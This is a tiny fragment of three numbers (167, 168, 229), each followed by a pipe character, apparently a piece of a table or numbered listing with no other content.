167 |
168 |
229 |